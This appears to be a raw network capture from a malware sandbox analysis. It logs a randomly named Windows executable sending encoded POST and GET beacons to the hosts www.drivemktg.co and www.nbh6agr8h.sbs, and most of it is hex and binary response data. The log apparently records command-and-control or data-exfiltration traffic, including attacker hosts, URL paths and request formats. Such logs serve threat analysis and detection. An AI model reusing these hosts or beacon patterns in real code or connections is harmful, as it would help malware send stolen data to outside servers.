7d 29 fb 6d 4f 1f cc a4 ea 51 16 ad b6 b7 24 fa e7 6a b5 5c 6e c8 33 6f 76 40 de 6b 7f 0b 68 6c 43 84 6b 97 c8 a7 ad 69 4d df 1b 0b a1 f5 33 73 5c d3 f9 [TRUNCATED] Data Ascii: bh;CF&h,/aL#5i3GNwO/b@as(v3f8;$A6H(Q9[">nQH032vdFRaDd/^eLmU4hBpPl6yg=@$n"DP{5oSX+6u%z@E.?vCh]mZj7r?t%})mOQ$j\n3ov@khlCkiM3s\,+l!6n ^Pg$folV,Y<L<FlLgBT6#/GJ(NSu`1 $2l:wcM f5O$tY(OJ!O\|dy.Sr'TP8 4AYv1#KHKgK0eC5ZdHCCZdgw+:MYrob"\|[eFX>'NI
Sep 11, 2024 22:03:37.143923998 CEST	1236	IN	Data Raw: 8f f6 f5 a8 c6 e6 11 97 fa 06 01 43 06 22 33 aa ca 92 fc 39 5c f6 a6 f7 fd f0 b1 66 7c da 04 08 c1 38 fb 15 9d d7 0d c8 00 f8 1a a1 63 4e bc f9 fa f1 83 0c e8 8d 6d 4c 7d 64 c8 f9 94 b6 d7 8f d3 84 c2 58 7b 06 02 85 e5 23 c8 46 ae ef c5 17 28 91 Data Ascii: C"39\f\|8cNmL}dX{#F(" Kmw:Vj!nq6mP"H\|'@6;3(Yi\x:NEu 0J)'N{-C>:[aPCZ*M\|X]KxiLe6=
Sep 11, 2024 22:03:37.143942118 CEST	1236	IN	Data Raw: 26 60 02 45 04 0c 15 ac be 65 d8 f7 5b 90 75 3b 6e 5c e8 b6 1d 02 50 15 38 9e 6e 4a 44 fc 6d 4c 99 77 0e c7 38 de f7 71 bc 5a 48 43 30 8e 7b b4 fe 79 38 f6 1a 8d 8b e3 f0 ff a0 3d 64 64 b9 71 79 b1 9f c5 eb 8c 9c 25 eb dd 3b 64 1d 9f 65 64 9d 9c Data Ascii: &`Ee[u;n\P8nJDmLw8qZHC0{y8=ddqy%;dedJ\|uuFVA\|(JDdv"/>4'5&QyY7QWy)3C.hU9yV<qik'KQjE0>k=RE^
Sep 11, 2024 22:03:37.143956900 CEST	1236	IN	Data Raw: a9 c6 29 ae a5 28 3b 35 03 86 1b d7 6b ea 66 6b d3 f4 3c a8 05 0d bb 5c fb 41 f9 75 06 66 64 75 3f 7f e9 36 12 02 d1 f5 3f 9a 56 63 a5 b3 d4 0b 4c b7 4f f5 d4 9e 80 32 d5 eb e5 3c 00 78 d8 ce 6a 5d 5b 50 2f e7 ce ea 65 35 78 da 57 e0 e8 95 db 92 Data Ascii: )(;5kfk<\Aufdu?6?VcLO2<xj][P/e5xWH@e{ZsHHI,^}v=zoZz8)T>j4Nepu?'MQ/Mg8S<!zc1"vyOE,g]lucNj%fCS*
Sep 11, 2024 22:03:37.143982887 CEST	1236	IN	Data Raw: 3c 63 19 0b cb 13 91 c3 5c 5d ed 1f 41 56 fb 47 d4 b8 6d d6 21 04 82 05 b3 eb e6 51 b5 96 34 fa be 5e 97 2d ea 6a ff d8 8e 2e 82 ad 96 a6 db a7 f8 87 f4 a8 b0 d6 03 08 14 43 5a f9 34 49 9a 10 4d 1d 4d 80 96 cf 92 64 09 b1 d4 b1 04 58 f9 3c 49 9e Data Ascii: <c\]AVGm!Q4^-j.CZ4IMMdX<IOO/D2ILL@''.O /HHH]SEcB"P(:SHA?V"2y!QQ. dL]eESu^q)aRWMc,?yA`/}
Sep 11, 2024 22:03:37.143997908 CEST	1236	IN	Data Raw: e5 cc 80 3c f1 37 23 00 b5 3f 3a 74 1f a6 71 ec 1f 0c c9 18 2c 49 8c 40 b4 b5 1f ef 6e bf 24 23 27 ad ff 7d 98 46 2c 4d 47 b7 39 50 6f d7 35 85 0d c1 38 cf ea bb d6 c4 5f be dd 20 59 d6 87 76 68 a6 91 7f bb 7b 7b 43 43 5c 35 be f4 a1 1d d3 08 8d Data Ascii: <7#?:tq,I@n$#'}F,MG9Po58_ Yvh{{CC\5R9jU6!#OmJ5N>(ZQcxdr:S/%Q3z-Xxw%~jEoo"9!}_W=fE'O2X:KknfD?@39C
Sep 11, 2024 22:03:37.144015074 CEST	1236	IN	Data Raw: 8b 21 50 cf 3c 61 19 95 25 4d f1 10 5c d5 01 cc 37 43 7f 2e f2 a2 13 8d 91 a2 13 db 6f c1 d6 29 2c 69 3b b7 c8 f2 52 3e f8 10 30 47 c4 79 99 e1 ac 14 25 7b 24 37 27 9b bb 1f 6e cd 59 7c 10 ca a6 96 3e d8 3a da 0b 1e 1f 12 f2 03 92 da 72 6e 5d dc Data Ascii: !P<a%M\7C.o),i;R>0Gy%{$7'nY\|>:rn]nr)66?og`&MatTsp9"m8(qR/W")%o?7T*TUD\|hpn]dnfg'o0=0qbxzA
Sep 11, 2024 22:03:37.144028902 CEST	1089	IN	Data Raw: 36 4b b6 5e f5 bd aa ad 16 42 a4 11 d8 49 25 ff 62 56 3d 9e 92 ab 17 1b f0 66 b0 91 35 92 d1 43 d5 f1 01 ca 59 c4 9b 66 8f a2 5e 70 b1 d6 99 b9 db 61 1b ed dd 36 4c dd 0f b7 06 01 5f c7 fe b7 eb 87 5f de e7 af 7b 83 6c b5 55 98 b8 0d 95 db f9 47 Data Ascii: 6K^BI%bV=f5CYf^pa6L__{lUG$Wrz\Ut(H.BXPp[:QPjcxcwl,:dvhCu(wp`Na~JOSQ-\S,a*Kh]"ajKZf%$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49719	193.108.130.23	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:38.624823093 CEST	1759	OUT	POST /6iyv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.drivemktg.co Origin: http://www.drivemktg.co Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.drivemktg.co/6iyv/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 64 57 49 44 6d 61 46 4d 4a 64 7a 46 62 56 50 56 66 72 6f 6e 4f 6f 39 4a 77 6b 2b 2b 4d 6b 78 72 2b 74 67 62 6b 5a 39 79 42 57 78 75 76 36 46 6d 56 5a 78 34 52 69 2b 42 33 5a 38 59 69 55 4d 33 5a 62 46 66 4c 63 41 32 41 75 59 6e 64 6c 65 74 6b 56 39 31 53 32 4e 4e 6e 65 42 5a 2f 2f 54 66 6a 2f 70 38 6f 56 51 44 69 39 57 51 68 47 77 2b 4a 6c 6f 5a 35 34 38 73 52 31 37 70 6e 69 41 7a 79 38 59 54 59 58 41 36 4e 44 4a 31 6d 65 48 6c 4e 51 45 64 64 6f 52 79 4e 66 4d 57 6e 36 74 4c 6c 74 33 36 69 66 34 6a 46 67 34 74 6b 4b 69 30 54 7a 77 37 64 45 39 4f 6d 39 77 78 78 66 30 32 47 76 55 43 77 6e 67 72 47 2f 31 43 2b 39 45 75 6a 70 5a 38 57 2f 65 6f 56 59 52 46 31 49 54 67 32 52 78 77 64 64 4e 43 39 7a 59 46 73 73 34 38 69 38 65 4d 4e 30 4f 50 42 37 65 50 34 4b 64 5a 5a 45 42 6d 4a 53 6b 71 75 6b 49 42 71 39 72 56 2f 30 30 4d 31 6f 69 54 4d 55 67 63 76 6a 69 30 62 6a 70 4f 32 70 72 61 50 45 56 4b 6c 2f 52 66 43 36 64 58 33 7a 39 64 2b 41 6b 61 6a 69 5a 64 56 75 54 5a 6d 61 66 6c 30 [TRUNCATED] Data Ascii: bFGXGTdX=dWIDmaFMJdzFbVPVfronOo9Jwk++Mkxr+tgbkZ9yBWxuv6FmVZx4Ri+B3Z8YiUM3ZbFfLcA2AuYndletkV91S2NNneBZ//Tfj/p8oVQDi9WQhGw+JloZ548sR17pniAzy8YTYXA6NDJ1meHlNQEddoRyNfMWn6tLlt36if4jFg4tkKi0Tzw7dE9Om9wxxf02GvUCwngrG/1C+9EujpZ8W/eoVYRF1ITg2RxwddNC9zYFss48i8eMN0OPB7eP4KdZZEBmJSkqukIBq9rV/00M1oiTMUgcvji0bjpO2praPEVKl/RfC6dX3z9d+AkajiZdVuTZmafl0qYDc0q8Lk/NiFZTkMHbKtgeHvdRip+v0xlsxx1aljUG9wUujsusT06bSXCTwOMcZ0mTtOCpCiYnekoVqN5cmHbm0t9zz8ICn3R6nnaOCc+THmgD7B86napQqYShyYQdiwpvnN6/jRX/Ab8PaZPrWM/QBRnWZDGsw+xYOP/pyDPjpqii8I7+H79PW7ixZ2P7hASXv8Wxv961G2n1At6n3IImuzYobLJ8hb6wQytwG4K6ydnm0Q1r5jTrt14+jPZiZHfBbV2vAPp2xS6Q0qed3OtjU3ysUIm71JWlRqw37jLowuLMPRWKtd0QyJdIjNVDOG0HZeKp4/lyk48KkG2RejNW/x6UyOkttrMCplqWBYc+FqD6lg2xAxpqrDa6KM88xRAnmEX2igljlOFbQo8CgpxiqLZ9+bF1sYcayyOgMa+ocddrSi6Fn4I2LLx5lGq3io+kNPGeOH2Kjga4I2DUgNGT1fvRbcyXt9gMkthb+aTYx66ifl58jvTpgyjEhz1m9irci02HXq4dJFN7mHIIxnDKI/pWPHEaqrgp+rsa+4K67MmLQOEViZWsTZUWSoeR5PjGszqZ8w0gn1mS2c9uEEDJIzfnQIYZ8TGrvLERzL4xMJHqPaAo6kT20LctXenqU6caIoo9SkRzGpwXHi90om4fEEjZ7lfP0q8 [TRUNCATED]
Sep 11, 2024 22:03:39.725352049 CEST	1236	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.29 x-litespeed-tag: fae_HTTP.200 content-type: text/html; charset=UTF-8 link: <https://drivemktg.co/wp-json/>; rel="https://api.w.org/" link: <https://drivemktg.co/wp-json/wp/v2/pages/10>; rel="alternate"; title="JSON"; type="application/json" link: <https://drivemktg.co/?p=10>; rel=shortlink x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding,User-Agent date: Wed, 11 Sep 2024 20:03:16 GMT server: LiteSpeed Data Raw: 32 33 62 62 0d 0a 30 b4 2d a2 aa d6 43 46 a4 26 f5 00 68 a4 2c 9c bf 7f 84 0e 9f f3 fe db 2f ab ef ce cf 17 61 ab 0c 4c 23 9a a4 af 35 c3 1c d7 69 d7 16 ea d3 d0 ad e0 c2 33 47 d9 4e be aa fe 77 f3 f3 85 a3 4f 2f 62 1f 40 61 73 28 76 86 33 ea 66 38 8d 3b b6 0e 24 41 0a 36 48 a2 00 28 51 d6 f9 ff f7 97 e6 39 5b 22 9e 3e e5 6e 51 06 48 30 33 c6 32 08 ed 76 09 df 07 e7 64 46 52 61 2a 44 85 64 bb 10 15 e4 02 ef bb f7 c1 cc 9f 2f 5e 90 65 ad 11 b5 c4 d4 a6 4c 6d 19 02 00 55 da 34 c5 68 42 0a 70 c5 50 e5 6c d1 36 79 0c 67 3d c3 40 24 8c 95 6e cb 98 d6 db de da af 90 0d 22 44 50 1f c3 a1 7b a6 35 0b c4 98 c2 6f 53 08 58 f0 c1 ec fe 16 bb b6 f7 aa a3 2b 0a 36 fe fe 75 1e 87 f3 25 84 90 fb 1d e0 7a f2 b7 05 40 45 17 fe 2e ad 3f 76 ad b1 b7 c4 43 ab 68 ef 5d 6d 5a 18 d4 fa b1 6a ba be 91 ce 37 c9 a1 b6 c9 72 e9 f5 cc 19 db 14 ba bc dd 3f 8a ca 9b 1d 74 b7 d8 c8 d2 25 87 ae f5 7d 29 fb 6d 4f 1f cc a4 ea 51 16 ad b6 b7 24 fa e7 6a b5 5c 6e c8 33 6f 76 40 de 6b 7f 0b 68 6c 43 84 6b 97 c8 a7 ad 69 4d df 1b 0b a1 [TRUNCATED] Data Ascii: 23bb0-CF&h,/aL#5i3GNwO/b@as(v3f8;$A6H(Q9[">nQH032vdFRaDd/^eLmU4hBpPl6yg=@$n"DP{5oSX+6u%z@E.?vCh]mZj7r?t%})mOQ$j\n3ov@khlCkiM3s\,+l!6n ^Pg$folV,Y<L<FlLgBT6#/GJ(NSu`1 $2l:wcM f5O$tY(OJ!O\|dy.Sr'TP8 4AYv1#KHKgK0eC5ZdHCCZdgw+:MYrob"\|[eFX>
Sep 11, 2024 22:03:39.725377083 CEST	1236	IN	Data Raw: 27 4e 04 01 1b bb 85 49 c9 80 8f e8 8f f6 f5 a8 c6 e6 11 97 fa 06 01 43 06 22 33 aa ca 92 fc 39 5c f6 a6 f7 fd f0 b1 66 7c da 04 08 c1 38 fb 15 9d d7 0d c8 00 f8 1a a1 63 4e bc f9 fa f1 83 0c e8 8d 6d 4c 7d 64 c8 f9 94 b6 d7 8f d3 84 c2 58 7b 06 Data Ascii: 'NIC"39\f\|8cNmL}dX{#F(" Kmw:Vj!nq6mP"H\|'@6;3(Yi\x:NEu 0J)'N{-C>:[aPCZ*M\|X]Kxi
Sep 11, 2024 22:03:39.725387096 CEST	1236	IN	Data Raw: ed ec 10 07 5c b3 1a 63 52 86 90 54 26 60 02 45 04 0c 15 ac be 65 d8 f7 5b 90 75 3b 6e 5c e8 b6 1d 02 50 15 38 9e 6e 4a 44 fc 6d 4c 99 77 0e c7 38 de f7 71 bc 5a 48 43 30 8e 7b b4 fe 79 38 f6 1a 8d 8b e3 f0 ff a0 3d 64 64 b9 71 79 b1 9f c5 eb 8c Data Ascii: \cRT&`Ee[u;n\P8nJDmLw8qZHC0{y8=ddqy%;dedJ\|uuFVA\|(JDdv"/>4'5&QyY7QWy)3C.hU9yV<qik'KQjE0>
Sep 11, 2024 22:03:39.725397110 CEST	1236	IN	Data Raw: 0d a2 70 c8 c3 de 0b 96 4a 52 dc 36 a9 c6 29 ae a5 28 3b 35 03 86 1b d7 6b ea 66 6b d3 f4 3c a8 05 0d bb 5c fb 41 f9 75 06 66 64 75 3f 7f e9 36 12 02 d1 f5 3f 9a 56 63 a5 b3 d4 0b 4c b7 4f f5 d4 9e 80 32 d5 eb e5 3c 00 78 d8 ce 6a 5d 5b 50 2f e7 Data Ascii: pJR6)(;5kfk<\Aufdu?6?VcLO2<xj][P/e5xWH@e{ZsHHI,^}v=zoZz8)T>j4Nepu?'MQ/Mg8S<!zc1"vyOE,g]lucNj%
Sep 11, 2024 22:03:39.725406885 CEST	1236	IN	Data Raw: d9 c9 ae 28 b6 90 39 3f 65 09 6a e4 3c 63 19 0b cb 13 91 c3 5c 5d ed 1f 41 56 fb 47 d4 b8 6d d6 21 04 82 05 b3 eb e6 51 b5 96 34 fa be 5e 97 2d ea 6a ff d8 8e 2e 82 ad 96 a6 db a7 f8 87 f4 a8 b0 d6 03 08 14 43 5a f9 34 49 9a 10 4d 1d 4d 80 96 cf Data Ascii: (9?ej<c\]AVGm!Q4^-j.CZ4IMMdX<IOO/D2ILL@''.O /HHH]SEcB"P(:SHA?V"2y!QQ. dL]eESu^q)aRWMc,?y
Sep 11, 2024 22:03:39.725416899 CEST	1236	IN	Data Raw: 9f a7 a7 be b0 d1 30 47 6a 9c 9f 1a e5 cc 80 3c f1 37 23 00 b5 3f 3a 74 1f a6 71 ec 1f 0c c9 18 2c 49 8c 40 b4 b5 1f ef 6e bf 24 23 27 ad ff 7d 98 46 2c 4d 47 b7 39 50 6f d7 35 85 0d c1 38 cf ea bb d6 c4 5f be dd 20 59 d6 87 76 68 a6 91 7f bb 7b Data Ascii: 0Gj<7#?:tq,I@n$#'}F,MG9Po58_ Yvh{{CC\5R9jU6!#OmJ5N>(ZQcxdr:S/%Q3z-Xxw%~jEoo"9!}_W=fE'O2X:KknfD
Sep 11, 2024 22:03:39.725428104 CEST	1236	IN	Data Raw: 86 20 11 93 fe 6b 27 1c ff fb ed d4 8b 21 50 cf 3c 61 19 95 25 4d f1 10 5c d5 01 cc 37 43 7f 2e f2 a2 13 8d 91 a2 13 db 6f c1 d6 29 2c 69 3b b7 c8 f2 52 3e f8 10 30 47 c4 79 99 e1 ac 14 25 7b 24 37 27 9b bb 1f 6e cd 59 7c 10 ca a6 96 3e d8 3a da Data Ascii: k'!P<a%M\7C.o),i;R>0Gy%{$7'nY\|>:rn]nr)66?og`&MatTsp9"m8(qR/W")%o?7T*TUD\|hpn]dnfg'o0=0qbx
Sep 11, 2024 22:03:39.725442886 CEST	1103	IN	Data Raw: a1 4f 12 47 2f e3 5e c8 27 34 ff 72 36 4b b6 5e f5 bd aa ad 16 42 a4 11 d8 49 25 ff 62 56 3d 9e 92 ab 17 1b f0 66 b0 91 35 92 d1 43 d5 f1 01 ca 59 c4 9b 66 8f a2 5e 70 b1 d6 99 b9 db 61 1b ed dd 36 4c dd 0f b7 06 01 5f c7 fe b7 eb 87 5f de e7 af Data Ascii: OG/^'4r6K^BI%bV=f5CYf^pa6L__{lUG$Wrz\Ut(H.BXPp[:QPjcxcwl,:dvhCu(wp`Na~JOSQ-\S,a*Kh]"ajKZ
Sep 11, 2024 22:03:39.725817919 CEST	11	IN	Data Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49720	193.108.130.23	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:41.153753996 CEST	459	OUT	GET /6iyv/?bFGXGTdX=QUgjltNnPM7fQ1+0bKwVMbQ54EaLfCpy+OUhi4BxQU9uhqAfHapQDk2a3aAnmDcuDNg9UdkAVeopJ3fRxVhQVT9mj+0/2IqVm/xmg09egO+B+lk9Mw==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.drivemktg.co Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:03:42.170047998 CEST	440	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/8.1.29 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1+0bKwVMbQ54EaLfCpy+OUhi4BxQU9uhqAfHapQDk2a3aAnmDcuDNg9UdkAVeopJ3fRxVhQVT9mj+0/2IqVm/xmg09egO+B+lk9Mw==&M87d=RDddFbF8 x-litespeed-cache: miss content-length: 0 date: Wed, 11 Sep 2024 20:03:18 GMT server: LiteSpeed vary: User-Agent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49721	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:47.902614117 CEST	725	OUT	POST /bqpw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.nbh6agr8h.sbs Origin: http://www.nbh6agr8h.sbs Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.nbh6agr8h.sbs/bqpw/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 32 67 54 47 6a 34 77 77 55 63 62 75 4f 6d 47 55 76 44 74 51 66 6b 70 4d 30 65 41 53 6b 7a 38 74 48 2b 45 6a 4c 48 37 61 58 4b 62 4a 62 34 44 56 75 42 49 55 4c 5a 39 50 39 79 44 4f 51 67 43 4d 2b 68 50 4c 63 65 70 72 78 56 4b 6f 53 35 35 66 54 6c 31 2f 69 55 77 49 34 6d 69 2b 65 61 37 66 37 79 42 79 6b 46 6a 46 79 68 7a 55 38 56 37 76 34 76 31 55 42 7a 6d 38 6e 6b 43 65 6a 6a 74 35 45 63 35 50 43 34 78 57 46 4b 5a 30 59 4d 53 67 4f 52 4b 49 63 41 31 53 64 65 62 4d 7a 76 64 47 34 61 63 35 59 6a 30 50 45 6d 53 39 6a 41 63 35 45 6a 56 66 33 4c 72 6d 4c 68 47 68 Data Ascii: bFGXGTdX=2gTGj4wwUcbuOmGUvDtQfkpM0eASkz8tH+EjLH7aXKbJb4DVuBIULZ9P9yDOQgCM+hPLceprxVKoS55fTl1/iUwI4mi+ea7f7yBykFjFyhzU8V7v4v1UBzm8nkCejjt5Ec5PC4xWFKZ0YMSgORKIcA1SdebMzvdG4ac5Yj0PEmS9jAc5EjVf3LrmLhGh
Sep 11, 2024 22:03:48.831069946 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:03:48 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49722	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:50.434772968 CEST	749	OUT	POST /bqpw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.nbh6agr8h.sbs Origin: http://www.nbh6agr8h.sbs Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.nbh6agr8h.sbs/bqpw/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 32 67 54 47 6a 34 77 77 55 63 62 75 50 43 36 55 6a 43 74 51 4f 55 70 44 36 2b 41 53 39 6a 39 6b 48 2b 34 6a 4c 43 43 66 55 34 50 4a 62 59 54 56 76 44 67 55 4b 5a 39 50 32 53 44 48 55 67 43 44 2b 67 7a 70 63 66 35 72 78 56 75 6f 53 34 4a 66 54 57 4d 70 6a 45 77 4b 74 32 69 77 54 36 37 66 37 79 42 79 6b 42 50 76 79 67 62 55 38 6c 72 76 34 4f 31 62 43 7a 6d 39 75 45 43 65 6e 6a 74 31 45 63 35 39 43 35 74 77 46 4a 78 30 59 4e 4f 67 4b 51 4b 4c 53 41 30 5a 5a 65 62 5a 32 75 45 64 30 76 6b 53 66 46 34 69 52 6c 4c 66 70 42 39 2b 56 79 30 49 6b 38 33 6f 46 6e 7a 4c 35 65 47 6b 38 61 4a 33 4c 6c 50 69 33 74 70 46 6c 53 54 4b 72 41 3d 3d Data Ascii: bFGXGTdX=2gTGj4wwUcbuPC6UjCtQOUpD6+AS9j9kH+4jLCCfU4PJbYTVvDgUKZ9P2SDHUgCD+gzpcf5rxVuoS4JfTWMpjEwKt2iwT67f7yBykBPvygbU8lrv4O1bCzm9uECenjt1Ec59C5twFJx0YNOgKQKLSA0ZZebZ2uEd0vkSfF4iRlLfpB9+Vy0Ik83oFnzL5eGk8aJ3LlPi3tpFlSTKrA==
Sep 11, 2024 22:03:51.334691048 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:03:51 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49723	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:52.969449043 CEST	1762	OUT	POST /bqpw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.nbh6agr8h.sbs Origin: http://www.nbh6agr8h.sbs Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.nbh6agr8h.sbs/bqpw/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 32 67 54 47 6a 34 77 77 55 63 62 75 50 43 36 55 6a 43 74 51 4f 55 70 44 36 2b 41 53 39 6a 39 6b 48 2b 34 6a 4c 43 43 66 55 34 33 4a 62 4c 4c 56 75 6b 55 55 51 5a 39 50 31 53 44 4b 55 67 43 65 2b 67 72 74 63 61 68 64 78 58 6d 6f 54 61 52 66 43 7a 67 70 71 45 77 4b 31 47 69 39 65 61 36 66 37 7a 74 2b 6b 46 76 76 79 67 62 55 38 6e 6a 76 2b 66 31 62 4f 54 6d 38 6e 6b 43 61 6a 6a 74 52 45 63 41 49 43 35 35 47 46 5a 52 30 59 74 65 67 49 47 57 4c 61 41 30 62 56 2b 61 63 32 75 34 34 30 72 45 65 66 46 6b 4d 52 6c 44 66 6f 41 34 44 4b 43 34 4e 34 2f 6e 33 48 58 54 65 30 70 4b 4d 34 35 49 30 45 6e 76 5a 73 38 77 73 6d 77 4f 59 32 76 33 6e 56 46 6a 66 48 41 39 45 76 72 55 68 2b 6f 70 77 35 35 62 5a 55 39 51 4a 35 6a 63 78 4b 41 53 4a 48 51 55 58 79 47 52 31 64 6c 36 78 42 6b 2f 73 73 38 37 41 6c 31 6b 79 70 48 52 45 6a 48 30 72 72 4b 48 30 4d 6c 4a 43 57 50 56 33 75 30 76 4f 79 38 64 32 74 69 4a 54 38 55 50 70 43 6f 31 32 48 49 58 37 33 6a 52 73 41 58 30 63 2f 49 72 6a 51 61 6a 4d 51 [TRUNCATED] Data Ascii: bFGXGTdX=2gTGj4wwUcbuPC6UjCtQOUpD6+AS9j9kH+4jLCCfU43JbLLVukUUQZ9P1SDKUgCe+grtcahdxXmoTaRfCzgpqEwK1Gi9ea6f7zt+kFvvygbU8njv+f1bOTm8nkCajjtREcAIC55GFZR0YtegIGWLaA0bV+ac2u440rEefFkMRlDfoA4DKC4N4/n3HXTe0pKM45I0EnvZs8wsmwOY2v3nVFjfHA9EvrUh+opw55bZU9QJ5jcxKASJHQUXyGR1dl6xBk/ss87Al1kypHREjH0rrKH0MlJCWPV3u0vOy8d2tiJT8UPpCo12HIX73jRsAX0c/IrjQajMQ8Db69qg+/3kS00tbZSB4FbJJTKr1zm9whWFYP2L9XibvLGD/XSGweQl5NROhMrXCLzq51gu5Jz6Q0h5Opuw1cYcMCluWIRghC3eQ2gvsQGQ+wgk2oFDgNUudJKWM3FCl69lx4am7sFlZVp7sNsKeos5Y+ojJNdkozjl+NJhwr791ij34dxR/flZeojvUb+BCFWUvlxUZpUm2BrKkIfZZ8ey8u6LRFYy1BHit4oN6HCiSbiQjFBhC+xwLiHBon6MOXwGnWlroS4p9xkeiQ0n5azzH9ocUAb99oJbNmHO1bDflruC3OzWbxn7Dl3LnCc54TGKpso+j8cm8RQllZMxHwc5vQe7DGHqgZtrmwJJDsPQ4RRr0NIK+H9u/jtH3CoKm9aTNPBS71ukFPE5J5nUj7kAhj8AVo8t2CAwA4kyN5rZ3PCnfxuTfkiylP5XorV8GDZ47Qy0S/ef1fxNy6Af8ug+ymd6nxAh0BlhDI2r4Nvdc6sLl8qO/Fd40nyHSYLThIj77o77E/OBUBvsSG0eMdmKk6GwI5AELTpwPYjpT0VuTmQ8Y39JXla0splpHUlxdvxtc5esSRp3Ja6aJjJ5tBuiAN8Pcn3bFrGefXLUHSqYAJGyueyRXXvwVdluXPeJY/FFVqao7bLRo5A6RW8b7EL7dElFeLWIKqZ [TRUNCATED]
Sep 11, 2024 22:03:53.999375105 CEST	165	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 11 Sep 2024 20:03:53 GMT Content-Type: text/html Content-Length: 2 Connection: close ETag: "660279db-2" Data Raw: 31 0a Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49724	47.239.13.172	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
